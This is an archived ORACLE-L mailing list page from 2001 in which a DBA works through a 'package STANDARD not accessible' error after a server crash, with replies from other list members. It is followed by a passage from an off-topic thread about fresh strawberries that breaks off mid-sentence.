538-5051 FAX: (858) 538-5051 San Diego, California -- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Ever seen any of these errors?
STANDARD was not invalid (there were only two things invalid, both
'acceptable'). When I tried to compile STANDARD (actually I recreated it
altogether) it wored without errors but I still got the error when logging
into SQL*Plus. This whole thing was just really odd!
Linda
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Sent: Thursday, August 02, 2001 10:26 AM
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hi;
error: ORA-06553 : PLS-213 : package STANDARD not accessible.
I believe that you must connect as sys to do
SELECT * FROM DBA_OBJECTS WHERE OWNER = 'SYS' AND
OBJECT_NAME = 'STANDARD';
If you to find the status is INVALID and I believe that you try to
recompile it by use command
ALTER PACKAGE STANDARD COMPILE;
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Good point but no. I'm the only one who can get into this server, the
last
time I ran anything like this was when I built it in September. H, I
just checked the test environment, which is a clone, everything there is
owned by sys.
Thanks!
Linda
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Sent: Wednesday, August 01, 2001 10:55 PM
To: Multiple recipients of list ORACLE-L
Any chance catalog or catproc was run by someone not logged in a sys?
Ian MacGregor
Stanford Linear Accelerator Center
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Sent: Wednesday, August 01, 2001 1:52 PM
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Our Financials production database server crashed last week. When it came
back up Oracle seemed to come up with no errors, everything connected
properly, etc. That evening the SA rebooted the machine to turn on
diagnostics for Sun. Oracle shutdown normally but after it came back up I
started getting paged that some of the Financials processes weren't
working.
I tried to start them and failed so I began poking around. When I logged
into SQL*Plus I got errors. Unfortunately I didn't start writing things
down until I had it 90% fixed :-{ but I *think* this was the order. I
backed up before and after. Then, after each step, I recompiled any
invalid
objects in the database. I ran sqlplus /nolog, then connect internal,
both
for consistancy and to run the $ORACLE_HOME/rdbms/admin scripts.
1) ORA-06553: PLS-213: PACKAGE STANDARD not accessible
Error accessing package DBMS_APPLICATION_INFO
I checked for invalid objects, one _next_object (which appears to be a
bug)
and a Financials package that is always invalid.
2) OK, let's try to recreate STANDARD. Ran the script, no errors
SQL*Plus is still complaining.
3) Somewhere along the line I saw references to catalog and catproc on
Metalink. After some more searching, I decided I didn't have anything to
lose. Ran catalog without errors. Catproc had errors in a number of
places. I got dbms_output errors:
create or replace package dbms_output as
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-1: unique constraint (SYS.I_OBJ2) violated
H, it's doing 'create or replace', something's fishy
Got a 'ORA-00921: unexpected end of SQL command' when it was running
catqueue.sql.
Got the errors:
create or replace type sys.aq$_dummy_t as object (data char(1));
*
ERROR at line 1:
ORA-6545: PL/SQL: compilation error - compilation aborted
ORA-06550: line 2, column 1:
PLS-00103: Encountered the symbol GRANT
ORA-06550: line 0, column 0:
PLS-00565: AQ$_DUMMY_T must be completed as a potential REF target
(object type)
These were the only error messages (other than dropping non-existant
indexes
and those type of messages).
4) I reran catproc, now the STANDARD errors are gone in SQL*Plus! But,
when
I logged in then I got:
PLS-00201: identifier DBMS_OUTPUT.DISABLE must be declared
and
Use of Oracle SQL feature not in SQL92 Entry Level
5) I changed catqueue.sql to get rid of a blank line and fixed the ORA-921
error.
6) In prvtaq.plb I removed the ; at the end of the first line and inserted
a
/ on the second line to fix the sys.aq$_dummy_t error messages
7) Reran catproc again (I actually ran it twice, once after each script I
changed). Finally, no errors, including the DBMS_OUTPUT.DISABLE!
8) Logged into SQL*Plus with no errors!
Whew! So what could have caused the problems to begin with? There were
no
errors in the alert log. I ran dbv on all the datafiles, everything was
clean. The server crashed because of a bad processor, not because of a
bad
disk (that was the development box on Sunday :-} ). No core dumps. I
especially love the unique constraint violation on sys.i_obj2
I count myself lucky, I didn't have to call Support, we didn't have
problems
until after the reboot at 8:30 pm instead of during the middle of the day,
and it's been a week without any other problems.
Thanks!
Linda
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RE: OT about to peeve off the vegatarians: RE: OT RE: Largest
Toppa result Only Villa to beat and we are in Europe.. -Original Message- Sent: 02 August 2001 13:52 To: Multiple recipients of list ORACLE-L Wahey, Good result last night. -Original Message- [mailto:[EMAIL PROTECTED]] Sent: 02 August 2001 11:50 To: Multiple recipients of list ORACLE-L The Geordies get everywhere Aa The Blaydon races.. -Original Message- Sent: 02 August 2001 08:00 To: Multiple recipients of list ORACLE-L I guess thats one of the things we have going for us in little old England. Where I live in the North East of England (Northumberland to be precise) there are a whole host of farms where you can go and pick your own within between 5 and 20 minutes drive from my house. Aaaah! Lee -Original Message- Sent: 02 August 2001 01:55 To: Multiple recipients of list ORACLE-L Cherie, You guys are making me soo jealous. (and so hungry for fresh strawberries!) Rachel From: [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: Largest Date: Wed, 01 Aug 2001 13:38:35 -0800 Rachel, When I worked at Rockwell in Anaheim (Southern California - sort of a suburb of Los Angeles), I used to drive right past a strawberry field every night on my way home from work. Most of the berries would be picked and shipped to market or wherever but there was always a small stand at the edge of the field where you could stop and buy direct from the grower. It was strange to find a strawberry field in the middle of the city. That was fifteen years ago. I'm not sure if it's still there - what with the high price of real estate in that area. Anyway, the taste was just as April described it. Warm and damp and flavorful. The smell alone would make me stop. Every summer I long for those strawberries and I've yet to find anything close here in the Midwest. Cherie Machler nostalgic for a few things about Southern California - like the produce markets Rachel Carmichael To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] carmichr@hotcc: mail.comSubject: RE: OT about to peeve off the vegatarians: RE: OT RE: Sent by: Largest root@fatcity. com 08/01/01 03:15 PM Please respond to ORACLE-L April, Okay, now tell me WHERE I can get those? The ones from the greenmarket are already insanely wonderful, I'm not sure I could stand anything more intense :) Rachel From: April Wells [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: Largest Date: Wed, 01 Aug 2001 10:37:19 -0800 Rachel, You need to try strawberries, warm from the sun, wet from the irrigation system, with the light dusty dirt still crunching on them. April -Original Message- Sent: Wednesday, August 01, 2001 12:17 AM To: Multiple recipients of list ORACLE-L Ian, You have my sympathies for your struggles. And my respect for how you seem to be dealing with them. My husband was a hemophiliac. Just living with that as an adult was hard. To live with a genetic disorder in a child must be infinitely harder. I have an enormous respect for my mother-in-law who raised such a child and did not wrap him in cotton-wool, in case he got hurt. You are in CA, where you can get a much better assortment of non-store-bought produce than I can here in NYC, although I tend to frequent the greenmarkets and try to buy what is in season when I buy in stores. Even then, store-bought doesn't taste as good as fresh-picked. I have converted one person at work to never eating store-bought strawberries again, he tried some from the greenmarket when they were in season and was convinced. Rachel From: MacGregor, Ian A. [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: Largest Date: Tue, 31 Jul 2001 15:15:35 -0800 So where do I get my woolly mammoth steaks. What was the life expectancy of early hominids? I don't know about Maine Blue Berries, but wild blueberries in Nova Scotia are just as sweet if not sweeter than the store bought ones. Where in a reputable peer-reviewed journal can one find an article store bought food is less nutritious than wild food. The purpose of fruit is to be eaten, the seeds passing through the digestive system intact to be planted with a little fertilizer. The sweeter the fruit, the more animals are attracted, the
